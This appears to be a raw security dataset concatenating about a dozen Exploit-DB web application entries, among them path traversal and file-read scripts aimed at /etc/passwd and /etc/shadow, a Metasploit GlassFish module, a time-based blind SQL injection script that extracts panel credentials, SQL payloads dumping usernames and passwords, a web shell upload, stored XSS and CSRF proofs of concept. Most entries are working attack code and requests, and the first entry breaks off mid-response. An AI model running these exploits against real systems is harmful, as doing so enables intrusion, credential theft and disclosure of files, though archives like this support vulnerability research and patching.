deardaniel/secdata-raw huggingface dataset:
Exploit-DB #45094
Description: Online Trade 1 - Information Disclosure
Type: webapps
Platform: linux
Date: 2018-07-27
Author: Dhamotharan

Exploit:
# Exploit Title: Online Trade 1 - Information Disclosure
# Exploit Author: Dhamotharan
# Date: 2018-07-17
# Vendor Homepage: https://codecanyon.net/item/online-trade-online-forex-and-cryptocurrency-investment-system/21987193?s_rank=14
# CVE : CVE-2018-14328
# Version: 1
# Tested on: Kali Linux

# Description :
# Brynamics "Online Trade - Online trading and cryptocurrency investment
# system" allows remote attackers to obtain sensitive information via a
# direct request for /dashboard/addplan, /dashboard/paywithcard/charge,
# /dashboard/withdrawal, or /privacy&terms,
# as demonstrated by reading database username, database password,
# database_name, and IP address.

# POC:

# Request:

POST /dashboard/withdrawal HTTP/1.1
Host: 127.0.0.1:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64;
Trident/5.0)
Connection: close
Referer: http://127.0.0.1:8080/dashboard/withdrawals
Content-Type: application/x-www-form-urlencoded
Content-Length: 112
Cookie:
XSRF-TOKEN=eyJpdiI6IlAwSjE2SjE1REVUdTM0bXhsMDY1b3c9PSIsInZhbHVlIjoiN204
d3RFcmdOSFVmTEo2cGh5bFlxY3RlR0p2U2hoN3NkNDZ5Vit3MjdpS3B2RHJG
aVFZdzlKNmFyN25RbWJLRnZtT3FaTDVvbHV4Ym9HMmFiWlhGY0E9PSIsIm1h
YyI6ImZmNTFhOGJkMmYxMTBlMGRjZDU4YzQ5MTI3NTljN2JiOGYyODc3MTEx
YjhjMzFiZTNkNWMzZjc5YjVlYTUyODEifQ%3D%3D;
laravel_session=eyJpdiI6IjZycklXVDNRTWsrT0NsZ3A2ZnIrWFE9PSIsInZhbHVlIjoiRzdC
VlJzXC81VWdSWHlkSys2K3dtR2h3UnpzZzhjT1wvdDZtZ3BOMXpjU09SMTJD
TGdXeEhSWkhadGt0RnhPRDR3MWZreXlLOTA1RDNIQStIZFpxRG5OZz09Iiwi
bWFjIjoiNTkwYzU3ZGMxOTg3NWU1ZWFjNjVjNjNkN2VjODkzYTBjZDI3MTAx
NWJmZTUzN2VhZDRlNzEyMDcyODk5ZmFlZiJ9;
__tawkuuid=e::trade.brynamics.xyz::3PC5vtdJoz40C7aJUDGFFuGkOrICf1
3gr5+ReA6AWqfUvhPDsTAf982UcNP+u5nq::2;
TawkConnectionTime=0

amount=[PII_REDACTED]@example.com
&payment_mode=Bitcoin&method_id=2&_token=
VG4OwJ1Dxx0kDSA3JCp0JtHDMX3TI5WpXE6nTDWi

# Response:

HTTP/1.1 500 Internal Server Error
Date: Mon, 16 Jul 2018 11:14:58 GMT
Server: Apache
X-Powered-By: PHP/7.0.30
Cache-Control: no-cache, private
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 708733
<!DOCTYPE html><!--
Illuminate\Database\QueryException: SQLSTATE[22001]: String data, right
truncated: 1406 Data too long for column &#039;amount&#039; at row
1 (SQL:
insert into `withdrawals` (`amount`, `to_deduct`, `payment_mode`, `status`,
`user`, `updated_at`, `created_at`) values[PII_REDACTED]@example.com,
620.5, Bitcoin, Pending, 182, 2018-07-16 11:14:59, 2018-07-16 11:14:59)) in
Exploit-DB #48964
Description: Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - 'getPreviewImage' Directory Traversal/Local File Inclusion
Type: webapps
Platform: linux
Date: 2020-10-28
Author: Ivo Palazzolo

Exploit:
# Exploit Title: Oracle Business Intelligence Enterprise Edition 5.5.0.0.0 / 12.2.1.3.0 / 12.2.1.4.0 - 'getPreviewImage' Directory Traversal/Local File Inclusion
# Date: 2020-10-27
# Exploit Author: Ivo Palazzolo (@palaziv)
# Reference: https://www.oracle.com/security-alerts/cpuoct2020.html
# Vendor Homepage: https://www.oracle.com
# Software Link: https://www.oracle.com/middleware/technologies/bi-enterprise-edition-downloads.html
# Version: 5.5.0.0.0, 12.2.1.3.0, 12.2.1.4.0
# Tested on: SUSE Linux Enterprise Server
# CVE: CVE-2020-14864

# Description
A Directory Traversal vulnerability has been discovered in the 'getPreviewImage' function of Oracle Business Intelligence Enterprise Edition. The 'getPreviewImage' function is used to get a preview image of a previously uploaded theme logo. By manipulating the 'previewFilePath' URL parameter an attacker with access to the administration interface is able to read arbitrary system files.

# PoC
https://TARGET/analytics/saw.dll?getPreviewImage&previewFilePath=/etc/passwd
Exploit-DB #45198
Description: Oracle Glassfish OSE 4.1 - Path Traversal (Metasploit)
Type: webapps
Platform: linux
Date: 2018-08-14
Author: Dhiraj Mishra

Exploit:
# Exploit title: Oracle Glassfish OSE 4.1 - Path Traversal (Metasploit)
# Author: Dhiraj Mishra
# Date: 2018-08-14
# Software: Oracle Glassfish Server OSE
# Version: 4.1
# Software link: http://download.oracle.com/glassfish/4.1/release/glassfish-4.1.zip
# CVE: 2[PII_REDACTED]

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::Scanner
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Path Traversal in Oracle GlassFish Server Open Source Edition',
      'Description' => %q{
        This module exploits an unauthenticated directory traversal vulnerability
        which exits in administration console of Oracle GlassFish Server 4.1, which is
        listening by default on port 4848/TCP.
      },
      'References'  =>
        [
          ['CVE', '2[PII_REDACTED]'],
          ['URL', 'https://www.trustwave.com/Resources/Security-Advisories/Advisories/TWSL2015-016/?fid=6904'],
          ['EDB', '39441']
        ],
      'Author'      =>
        [
          'Trustwave SpiderLabs', # Vulnerability discovery
          'Dhiraj Mishra' # Metasploit module
        ],
      'DisclosureDate' => 'Aug 08 2015',
      'License'     => MSF_LICENSE
    ))

    register_options(
      [
        Opt::RPORT(4848),
        OptString.new('FILEPATH', [true, "The path to the file to read", '/windows/win.ini']),
        OptInt.new('DEPTH', [ true, 'Depth for Path Traversal', 13 ])
      ])
  end

  def run_host(ip)
    filename = datastore['FILEPATH']
    traversal = "%c0%af.." * datastore['DEPTH'] << filename

    res = send_request_raw({
      'method' => 'GET',
      'uri'    => "/theme/META-INF/prototype#{traversal}"
    })

    unless res && res.code == 200
      print_error('Nothing was downloaded')
      return
    end

    vprint_good("#{peer} - #{res.body}")
    path = store_loot(
      'oracle.traversal',
      'text/plain',
      ip,
      res.body,
      filename
    )
    print_good("File saved in: #{path}")
  end
end
Exploit-DB #47132
Description: Oracle Siebel CRM 19.0 - Persistent Cross-Site Scripting
Type: webapps
Platform: linux
Date: 2019-07-17
Author: Sarath Nair

Exploit:
# Exploit Title: Oracle Siebel CRM 19.0 - Persistent Cross-Site Scripting
# Date: 2019-07-17
# Exploit Author: Sarath Nair aka AceNeon13
# Contact: @AceNeon13
# Vendor Homepage: www.oracle.com
# Software Link: https://www.oracle.com/applications/siebel/
# Version: Siebel CRM (UI Framework) Version 19.0 and prior
# CVE: N/A
# Greetings: Deepu.tv

# PoC Exploit: Persistent Cross Site Scripting by Insecure File Upload
-----------------------------------------------------------------------
Vulnerable URL: http://<Siebel_Application>/finsadm_enu/start.swe?SWECmd=GotoView&SWEView=Activity+Attachment+View

#Steps to exploit the issue:
#1. Login to the CRM application and navigate to ‘Activities’ and click on ‘All Activities’.
#2. Edit one of the existing activity, or create a new one.
#3. Use the ‘New File’ menu in ‘attachments’ section to upload an HTML file with JavaScript payload (via a proxy tool).
#4. JavaScript payload will be triggered/rendered upon the victim user views the attached file.

# Description: The Siebel CRM application allows its users to upload any file types in most of the available file upload functionalities, later on, the uploaded file can be downloaded by another user with the appropriate privileges as part of the workflow. As such, it was possible to upload file with the “html” extension, (containing html and JavaScript code) thereby allowing to also perform Persistent Cross Site Scripting attack. 
# Impact: Cross-Site Scripting attacks do not target the server but rather its users. A hypothetical attacker could use the web server in order to trick other users into unwillingly executing malicious code saved on the server with XSS payload. The impacts of such attack can range from the disclosure of the user’s sensitive information to execution of arbitrary code on the target user’s system.
# Solution: Apply the Oracle Siebel CRM patch released on 16 July 2019

########################################
# Vulnerability Disclosure Timeline:
2017-December-23:  Discovered vulnerability
2017-December-25:  Vendor Notification
2017-December-27:  Vendor Response/Feedback
2019-July-16:  Vendor Fix/Patch
2019-July-17:  Public Disclosure
########################################

Warm regards,
Sarath Nair
Exploit-DB #44757
Description: Oracle WebCenter FatWire Content Server < 7 - Improper Access Control
Type: webapps
Platform: linux
Date: 2018-05-25
Author: Sebastian Cornejo

Exploit:
# Exploit Title: Oracle WebCenter FatWire Content Server < 7 - Improper Access Control
# Dork: inurl:Satellite?pagename
# Date: 2017-10-17
# Exploit Author: Sebastian Cornejo Olave
# Vendor Homepage: http://oracle.com
# Version: 5.5.2 ,7.5 <=
# CVE: CVE-2017-10033
# Category: Webapps
# Tested on: Kali linux

# VULNERABILITY DESCRIPTION
# It has been discovered that there is an incorrect access control over
# several resources in previous versions of Fatwire (confirmed
# FutureTenseContentServer 5.5.2 ,7.5) that allow the sending of SQL
# queries and query the tables and database schema without authentication.

# PoC : Improper Access Control

PAYLOAD : SQL query

POST /cs/Satellite HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101
Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 98

tbl=AArticles&query=select+username%2Cpassword+from+systemusers&pagename=Support%2FVerify%2Fexport


PAYLOAD : show all table database
https://www.example.com/cs/Satellite?pagename=Support/Verify/tablelistHTML
https://www.example.com/cs/Satellite?pagename=Support/CacheManager/FlushTables&cmd=null

OR request

POST /cs/Satellite HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0 (Windows NT 6.2; WOW64; rv:18.0) Gecko/20100101
Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 98

pagename=Support/Verify/tablelistHTML


PAYLOAD : URL list ID installed Site

https://www.example.com/cs/Satellite?pagename=OpenMarket/Demos/index

# Collaborators
# Vis0r
# Queseguridad
Exploit-DB #45929
Description: PaloAlto Networks Expedition Migration Tool 1.0.106 - Information Disclosure
Type: webapps
Platform: linux
Date: 2018-12-03
Author: ParagonSec

Exploit:
# Exploit Title: PaloAlto Networks Expedition Migration Tool 1.0.106 - Information Disclosure
# Date: 2018-11-28
# Exploit Author: paragonsec @ Critical Start
# Vendor Homepage: https://live.paloaltonetworks.com/t5/Expedition-Migration-Tool/ct-p/migration_tool
# Software Link: https://paloaltonetworks.app.box.com/s/davuvo65k727nm7feuug0d783zo6fjx8
# Version: 1.0.106
# Tested on: Linux
# CVE : 2018-10142

#!/usr/bin/env python
 
import argparse
import requests
import sys
import collections

#Colors
OKRED = '\033[91m'
OKGREEN = '\033[92m'
ENDC = '\033[0m'

parser = argparse.ArgumentParser()
parser.add_argument("--rhost", help = "Remote Host")
parser.add_argument('--file', help = 'File to check (e.g /etc/passwd, /etc/shadow)')
args = parser.parse_args()

# Check to ensure at least one argument has been passed
if len(sys.argv)==1:
    parser.print_help(sys.stderr)
    sys.exit(1)

rhost = args.rhost
rfile = args.file

exploit_url = "http://" + rhost + "/API/process/checkPidStatus.php"
 
headers = [
    ('User-Agent','Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0'),
    ('Accept', 'application/json, text/javascript, */*; q=0.01'),
    ('Accept-Language', 'en-US,en;q=0.5'),
    ('Accept-Encoding', 'gzip, deflate'),
    ('Connection', 'close')
]
 
# probably not necessary but did it anyways
headers = collections.OrderedDict(headers)
 
# Setting up GET body parameters
body = "pid=/../" + rfile

print(OKGREEN + "Author: " + ENDC + "paragonsec @ Critical Start (https://www.criticalstart.com)")
print(OKGREEN + "CVE: " + ENDC + "2018-10142")
print(OKGREEN + "Description: " + ENDC + "Information Disclosure in Expedition Migration Tool")
print(OKGREEN + "Vuln Versions: " + ENDC + "< 1.0.107\n")

print(OKGREEN + "[+]" + ENDC + "Running exploit...")

s = requests.Session()

req = requests.post(exploit_url, headers=headers, data=body)
if "false" not in req.text:
    print(OKGREEN + "[+]" + ENDC + "Exploit worked! " + rfile + " exists!\n")
else:
    print(OKRED + "[!]" + ENDC + "File " + rfile + " does not exist!\n")
Exploit-DB #48454
Description: Phase Botnet - Blind SQL Injection
Type: webapps
Platform: linux
Date: 2014-12-23
Author: MalwareTech

Exploit:
import requests
import time
import sys
 
wait_delay = 5 #Depending on connection delay and server speed, you may need to make this a larger number
KnockString = 'g=a&w=a&b=a&d=a&p=a&m=a' #lol no integrity verification
 
PostData = ""
 
def rc4_crypt(data , key):
		S = list(range(256))
		j = 0
		out = []
 
		for i in range(256):
				j = (j + S[i] + ord( key[i % len(key)] )) % 256
				S[i] , S[j] = S[j] , S[i]
 
		i = j = 0
		for char in data:
				i = ( i + 1 ) % 256
				j = ( j + S[i] ) % 256
				S[i] , S[j] = S[j] , S[i]
				out.append(chr(ord(char) ^ S[(S[i] + S[j]) % 256]))    
		return ''.join(out)
 
def brute_length(url, id):
		for i in range(0, 30):
				Injection = "\"', (IF(LENGTH((SELECT value FROM settings WHERE id='%d')) = %d, SLEEP(%d), 0)), 'a', 'a', 'a', 'a', 'a', 'a')-- -" % (id, i, wait_delay)
				ConnectUrl  = url + '?i=' + Injection
 
				start = time.time()
				r = requests.post(ConnectUrl, data=PostData, headers='')
				end = time.time()
 
				if((end - start) >= wait_delay):
						return i
					   
		return 0
	   
def brute_char(url, position, id):
		sys.stdout.write(" ")
		sys.stdout.flush()
					   
		for i in range(32, 127):
				Injection = "\"', (IF(SUBSTRING((SELECT value FROM settings WHERE id='%d'), %d, 1) = BINARY CHAR(%d), SLEEP(%d), 0)), 'a', 'a', 'a', 'a', 'a', 'a')-- -" % (id, position, i, wait_delay)
				ConnectUrl  = url + '?i=' + Injection
			   
				sys.stdout.write("\b%c" % chr(i))
				sys.stdout.flush()
			   
				start = time.time()
				r = requests.post(ConnectUrl, data=PostData, headers='')
				end = time.time()
 
				if((end - start) >= wait_delay):
						break
 
def brute_panel(url):
		global KnockString, PostData
	   
		PostData = 'aaaa' + rc4_crypt(KnockString, 'aaaa')
	   
		print"Username: ",;
		sys.stdout.flush()
		ulen = brute_length(url, 1)
	   
		for i in range(1, ulen+1):
				brute_char(url, i, 1)
 
		print"\nPassword: ",
		sys.stdout.flush()
		plen = brute_length(url, 2)
	   
		for i in range(1, plen+1):
				brute_char(url, i, 2)
		print""
 
if(len(sys.argv) >= 2):
		brute_panel(sys.argv[1])
else:
		print("enter panel gate url")
Exploit-DB #10757
Description: PHP Forum ohne My SQL - Arbitrary File Upload
Type: webapps
Platform: linux
Date: 2009-12-28
Author: wlhaan hacker

Exploit:
PHP Forum ohne My SQL Remote File Upload Vulnerability 

#####################################################
# [+] Author : wlhaan hacker #
# [+] Email : iit@HoTMaiL.coM #
# [+] Site : www.sa-hacker.com/vb #
# [+] team wlhaan Hacker #
# [+] Dork : Powered by GL-SH DEAF forum 6.5.5 final. #
# [+] or dork:"PHP Forum ohne My SQL" "thema.php?board""
#####################################################

The exploit :

http://localhost/path/upload.php


change shell

shell.php.hphp.jpeg


Get now shell :

http://localhost/path/imguploads/shell.php.hphp.jpeg


and good luck :D

Thanks to : shooq hacker ..

#####################################################
Exploit-DB #40249
Description: Pi-Hole Web Interface 2.8.1 - Persistent Cross-Site Scripting in Whitelist/Blacklist
Type: webapps
Platform: linux
Date: 2016-08-16
Author: loneferret

Exploit:
# Exploit Title: Pi-Hole Web Interface Stored XSS in White/Black list file
# Author: loneferret from Kioptrix
# Product: Pi-Hole
# Version: Web Interface 1.3
# Web Interface software: https://github.com/pi-hole/AdminLTE
# Version: Pi-Hole v2.8.1
# Discovery date: July 20th 2016
# Vendor Site: https://pi-hole.net
# Software Download: https://github.com/pi-hole/pi-hole
# Tested on: Ubuntu 14.04
# Solution: Update to next version.
 
# Software description:
# The Pi-hole is an advertising-aware DNS/Web server. If an ad domain is queried,
# a small Web page or GIF is delivered in place of the advertisement.
# You can also replace ads with any image you want since it is just a simple
# Webpage taking place of the ads.

# Note: Not much of a vulnerability, implies you already have access
#       to the box to begin with. Still best to use good coding practices,
#       and avoid such things.

# Vulnerability PoC: Stored XSS
# Insert this:
# <script>alert('This happens...');</script>
# In either /etc/pihole/blacklist.txt || /etc/pihole/whitelist.txt
#
# Then navigate to:
# http://pi-hole-server/admin/list.php?l=white
# or
# http://pi-hole-server/admin/list.php?l=black
#
# And a pop-up will appear.

# Disclosure timeline:
# July 20th 2016: Sent initial email to author.
# July 21st 2016: Response, bug has been forwarded to web dev people
# July 22nd 2016: Asked to be kept up to date on fix
# July 27th 2016: Author replied saying he shall
# July 28th 2016: - Today I had chocolat milk -
# August 3rd 2016: Reply saying there's a fix, waiting on "Mark" to confirm
# August 3rd 2106: Supplies URL to fix from Github https://github.com/pi-hole/AdminLTE/pull/120
# August 4th 2016: Thanked him for fix, informed him of a lame LFI in the web interface as well.
# August 4th 2016: - While drinking my coffee, I realize my comments are longer than the actual PoC. -
# August 10th 2016: Still nothing
# August 12th 2016: Submitting this is taking too much time to integrate their fix

-- 
Notice: This email does not mean I'm consenting to receiving promotional 
emails/spam/etc. Remember Canada has laws.
Exploit-DB #44640
Description: Powerlogic/Schneider Electric IONXXXX Series - Cross-Site Request Forgery
Type: webapps
Platform: linux
Date: 2018-05-17
Author: t4rkd3vilz

Exploit:
# Exploit Title: Powerlogic Schneider Electric IONXXXX Series - Cross-Site Request Forgery
# Date: 2018-05-17
# Exploit Author: t4rkd3vilz
# Vendor Homepage: http://www.schneider-electric.com/
# Version: ION73XX series, ION75XX series, ION76XX series, ION8650 series, ION8800 series, PM5XXX series.
# Tested on: All Version
# CVE : CVE-2016-5809

# PoC


<form name="frmConfig" action="http://TargetIp/SetupReceipt.html
<http://targetip/SetupReceipt.html>" method="post">
select name="PMLSel_0x7800">
<option selected="selected">9S - 4 Wire Wye/Delta</option>
<option>35S - 3 Wire</option>
<option>36S - 4 Wire Wye</option>
<option>DEMO</option>
</select>
<select name="PMLSel_0x7a4a">
<option selected="selected">Normal</option>
<option>Inverted</option>
</select>
<input type="text" name="PMLIFl_0x7000" size="15" value="480.00"/>
<select name="PMLSel_0x7a4b">
<option selected="selected">Normal</option>
<option>Inverted</option>
</select>
<input type="text" name="PMLIFl_0x7001" size="15" value="480.00"/>
<select name="PMLSel_0x7a4c">
<option selected="selected">Normal</option>
<option>Inverted</option>
</select>
<input type="text" name="PMLIFl_0x7002" size="15" value="200.00"/>
<input type="text" name="PMLIFl_0x7003" size="15" value="5.00"/>
<select name="PMLSel_0x7801">
<option selected="selected">Normal</option>
<option>Inverted</option>
</select>
<select name="PMLSel_0x7802">
<option selected="selected">Normal</option>
<option>Inverted</option>
</select>
<select name="PMLSel_0x7803">
<option selected="selected">Normal</option>
<option>Inverted</option>
</select>
<input type="text" name="PMLIFl_0x7004" size="15" value="5.00"/>
<select name="PMLSel_0x7a49">
<option selected="selected">Normal</option>
<option>Inverted</option>
</select>
<input type="text" name="PMLIFl_0x7005" size="15" value="5.00"/>
<input type="text" name="PMLIFl_0x721a" size="15" value="0.00"/>
<input type="text" name="PMLIStr_0x1345" size="15" value="EPMAPS"/>
<input type="text" name="PMLIFl_0x70b4" size="15" value="900.00"/>
<input type="text" name="PMLIStr_0x1346" size="15" value="POZO SAN"/>
<input type="text" name="PMLIFl_0x70c4" size="15" value="1.00"/>
<input type="text" name="PMLIStr_0x1347" size="15" value="ANTONIO PICHIN."/>
<input type="text" name="PMLIFl_0x70d4" size="15" value="70.00"/>
<input type="submit" class="btn" value="Save" name="Submit22" />
</form>
Exploit-DB #47059
Description: PowerPanel Business Edition - Cross-Site Scripting
Type: webapps
Platform: linux
Date: 2019-07-01
Author: Joey Lane

Exploit:
# Exploit Title: PowerPanel Business Edition - Stored Cross Site Scripting (SNMP trap receivers)
# Google Dork: None
# Date: 6/29/2019
# Exploit Author: Joey Lane
# Vendor Homepage: https://www.cyberpowersystems.com
# Version: 3.4.0
# Tested on: Ubuntu 16.04
# CVE : Pending

CyberPower PowerPanel Business Edition 3.4.0 contains a stored cross site scripting vulnerability.  The fields used to configure SNMP trap receivers are not being properly sanitized.  This allows an authenticated user to inject arbitrary javascript code, which will later be executed once a user returns to the Event Action / Recipient page.

To demonstrate the vulnerability, create a file named 'xss.xml' with the following contents:

<?xml version="1.0" encoding="UTF-8" ?>
<ppbe>
<target>
<command>action.notification.trapRecipient.setup</command>
</target>
<inquire>
<trapRecipientSetup>
<action>ADD</action>
<trapRecipient>
<name><script>alert(1)</script></name>
<status>true</status>
<type>1</type>
<ipAddress>127.0.0.1</ipAddress>
<community>public</community>
</trapRecipient>
</trapRecipientSetup>
</inquire>
</ppbe>

Now execute the following curl command to submit a POST request with the contents of the 'xss.xml' file:

curl -X POST -H 'Content-type: text/xml' -d @xss.xml --cookie "JSESSIONID=(A VALID SESSION ID)" http://(A VALID HOST):3052/agent/ppbe.xml

Visiting the Event Action / Recipient page will execute the posted javascript code.